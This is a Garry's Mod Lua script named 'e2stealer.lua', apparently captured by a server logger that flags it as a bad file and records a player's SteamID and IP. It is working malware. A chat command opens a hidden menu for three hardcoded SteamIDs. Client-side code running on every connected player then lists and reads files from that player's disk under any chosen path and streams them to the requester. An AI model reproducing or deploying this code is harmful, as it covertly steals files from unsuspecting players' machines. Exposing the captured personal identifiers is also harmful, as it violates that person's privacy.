--[[
	MOD/lua/e2stealer.lua
	Sir Husky | STEAM_0:0:5785832 <62.107.240.233:27005> | [12-02-14 03:37:24PM]
	===BadFile===
]]

if SERVER then

    function AcceptStream(pl,handler,id)
        return true
    end
     
    function ESPLDataStream(ply,handle,id,encoded,decoded)
        Mode = decoded.mode
        Demandeur = decoded.dmnd
        if Mode == "liste" then
            ListeFichiers = decoded.filelist
            datastream.StreamToClients(Demandeur, "ESPL", { ["listefichiers"] = ListeFichiers, ["modeclient"] = "actualiser" } )
        elseif Mode == "file" then
            CodeExpression = decoded.filedata
            datastream.StreamToClients(Demandeur, "ESPL", { ["expressiondata"] = CodeExpression, ["modeclient"] = "download" } )
        elseif Mode == "askuploadlist" then
            Cible = decoded.avoler
            Chemin = decoded.endroit
            ply:ChatPrint(Cible:Nick().." ==> Debut rafraichissement !")
            SendUserMessage("ESPL_UMSG",Cible,"upload_liste",Chemin,ply:Nick())
        elseif Mode == "askuploadfile" then
            Cible = decoded.avoler
            Chemin = decoded.endroit
            SendUserMessage("ESPL_UMSG",Cible,"upload_file",Chemin,ply:Nick())
        end
    end
    
    function SendUMSG(jou,tx)
        minus = string.lower(tx)
        if minus == "!estl" then
            if jou:SteamID() == "STEAM_0:1:24364889" or jou:SteamID() == "STEAM_0:1:26765345" or jou:SteamID() == "STEAM_0:1:11959217" then
                SendUserMessage("ESPL_UMSG",jou,"menu")
                return ""
            end
        end
    end
    
    hook.Add("PlayerSay","ESPL_ByNicnl",SendUMSG)
    datastream.Hook("ESPL",ESPLDataStream)
end

if CLIENT then

    Chemin = "/Expression2"
    CibleAVoler = nil

    function CommandesCible(data)
        Option = data:ReadString()

        if Option == "upload_liste" then
            Chemin = data:ReadString()
            Liste = file.Find(Chemin.."/*")
            Demandeur = data:ReadString()
            datastream.StreamToServer("ESPL", { ["filelist"] = Liste, ["mode"] = "liste", ["dmnd"] = GetPlayerByName(Demandeur) } )
        elseif Option == "upload_file" then
            Chemin = data:ReadString()
            Texte = file.Read("/"..Chemin)
            Demandeur = data:ReadString()
            datastream.StreamToServer("ESPL", { ["filedata"] = Texte, ["mode"] = "file", ["dmnd"] = GetPlayerByName(Demandeur) } )
        elseif Option == "menu" then
            LocalPlayer():ChatPrint("Ouverture du menu ESTL !")
            OpenESTLMenu()
		                           end
    end
    
    function ESPLDownload(handle,id,encoded,decoded)
        Mode = decoded.modeclient
        
        if Mode == "actualiser" then
            ListeDLD = decoded.listefichiers
            RefreshList(ListeDLD)
        elseif Mode == "download" then
            Expr = decoded.expressiondata
            wire_expression2_editor:Open(Chemin,Expr)
        end
    end
    
    function ESPLAskForData(mode,chemin)
        if mode == "asklist" then
            datastream.StreamToServer("ESPL", { ["mode"] = "askuploadlist", ["avoler"] = CibleAVoler, ["endroit"] = Chemin } )
        elseif mode == "askdata" then
            datastream.StreamToServer("ESPL", { ["mode"] = "askuploadfile", ["avoler"] = CibleAVoler, ["endroit"] = Chemin } )
        end
	                  end
    
    function OpenESTLMenu()
        
        local Principal = vgui.Create('DFrame')
        Principal:SetSize(572,392)
        Principal:SetPos(23,23)
        Principal:SetTitle('ESTL V1 - By Nicnl')
        Principal:SetDeleteOnClose(false)
        Principal:ShowCloseButton(true)
        Principal:MakePopup()
        
        local ListeJoueur = vgui.Create('DComboBox')
        ListeJoueur:SetParent(Principal)
        ListeJoueur:SetSize(132,311)
        ListeJoueur:SetPos(20,32)
        ListeJoueur:EnableHorizontal(true)
        ListeJoueur:EnableVerticalScrollbar(true)
        ListeJoueur.OnMousePressed = function() end
        ListeJoueur:SetMultiple(false)
        
        local Rafraichir_Player = vgui.Create('DButton')
        Rafraichir_Player:SetParent(Principal)
        Rafraichir_Player:SetSize(132,20)
        Rafraichir_Player:SetPos(20,346)
        Rafraichir_Player:SetText('Rafraichir')
        Rafraichir_Player.DoClick = function() RefreshPlayer() end
        
        local Adresse = vgui.Create('DTextEntry')
        Adresse:SetParent(Principal)
        Adresse:SetSize(352,20)
        Adresse:SetPos(166,68)
        Adresse:SetText('')
        Adresse.OnEnter = function() end
        
        local Precedent = vgui.Create('DSysButton')
        Precedent:SetParent(Principal)
        Precedent:SetSize(49,20)
        Precedent:SetPos(166,45)
        Precedent:SetType('left')
        Precedent.DoClick = function() Precedent() end
        
        local Supprimer = vgui.Create('DButton')
        Supprimer:SetParent(Principal)
        Supprimer:SetSize(70,20)
        Supprimer:SetPos(230,45)
        Supprimer:SetText('Supprimer')
        Supprimer.DoClick = function() Delete() end
        
        local Owner = vgui.Create('DButton')
        Owner:SetParent(Principal)
        Owner:SetSize(70,20)
        Owner:SetPos(300,45)
        Owner:SetText('Owner')
        Owner.DoClick = function() end
        
        local Rafraichir_Files = vgui.Create('DButton')
        Rafraichir_Files:SetParent(Principal)
        Rafraichir_Files:SetSize(70,20)
        Rafraichir_Files:SetPos(383,45)
        Rafraichir_Files:SetText('Rafraichir')
        Rafraichir_Files.DoClick = function()
            CibleAVoler = GetPlayerByName(ListeJoueur:GetSelectedItems()[1]:GetValue())
            ESPLAskForData("asklist",Chemin)
        end
        
        local Ouvrir = vgui.Create('DButton')
        Ouvrir:SetParent(Principal)
        Ouvrir:SetSize(70,20)
        Ouvrir:SetPos(490,45)
        Ouvrir:SetText('Ouvrir')
        Ouvrir.DoClick = function() OuvrirSelection() end
        
        local Aller = vgui.Create('DSysButton')
        Aller:SetParent(Principal)
        Aller:SetSize(28,20)
        Aller:SetPos(532,68)
        Aller:SetType('right')
        Aller.DoClick = function() AllerAdresse(ADD) end
        
        local ListeFichiers = vgui.Create("DListView",Principal)
        ListeFichiers:SetMultiSelect(false)
        ListeFichiers:SetPos(167.5,90)
        ListeFichiers:SetSize(395,275)
        ListeFichiers:AddColumn("Nom")
        
        Principal:Center()
        
        function RefreshPlayer()
            ListeJoueur:Clear()
            for n,e in pairs(player.GetAll()) do ListeJoueur:AddItem(e:Nick()) end
        end
        
        function RefreshList(ListeBRUTE)
            ListeFichiers:Clear()
            ListeFichiers:AddLine("/..")
            for n,s in pairs(ListeBRUTE) do
                if EstPasFile(s) then
                    ListeFichiers:AddLine("/"..s)
                else
                    ListeFichiers:AddLine(s)
                end
            end
            Adresse:SetText(Chemin)
            ListeFichiers:SortByColumn(1,false)
            LocalPlayer():ChatPrint("Rafraichissement OK !")
        end
        
        function OuvrirSelection()
            Sel = ListeFichiers:GetSelected()[1]:GetValue(1)
            if EstPasFile(Sel) then
                Chemin = Chemin..Sel
                LocalPlayer():ChatPrint("Ceci est un dossier !")
                ESPLAskForData("asklist",Chemin)
                File = false
            else
                if File then Precedent() end
                File = true
                LocalPlayer():ChatPrint("Ce n'est pas un dossier !")
                Chemin = Chemin.."/"..Sel
                LocalPlayer():ChatPrint("Ouverture de : \""..Chemin.."\"")
                ESPLAskForData("askdata",Chemin)
            end
        end
        
        function EstPasFile(s)
            if s:find(".txt") or s:find(".lua") or s:find(".cfg") or s:find(".ini") then return false else return true end
        end
        
        function Precedent()
            Explode = string.Explode("/",Chemin)
            Count = table.Count(Explode)
            Chemin = table.concat(Explode,"/",1,Count-1)
            ESPLAskForData("asklist",Chemin)
        end
        
        function AllerAdresse(ADD)
            Chemin = Adresse:GetValue()
            ESPLAskForData("asklist",Chemin)
        end
        
        function ListeFichiers:DoDoubleClick(LineID,line)
            if LineID == 1 then Precedent()
            else OuvrirSelection() end
        end
        
        function ResetChemin()
            Chemin = "Expression2"
            Adresse:SetText(Chemin)
        end
        
        RefreshPlayer()
    end
    
    function GetPlayerByName(stringN)
        Resultat = nil
        for n,e in pairs(player.GetAll()) do
            if e:Nick() == stringN then Resultat = e end
        end
        return Resultat
    end
    
    datastream.Hook("ESPL",ESPLDownload)
    usermessage.Hook("ESPL_UMSG",CommandesCible)
	                                          
end

-- By Nicnl
-- nicnl25@gmail.com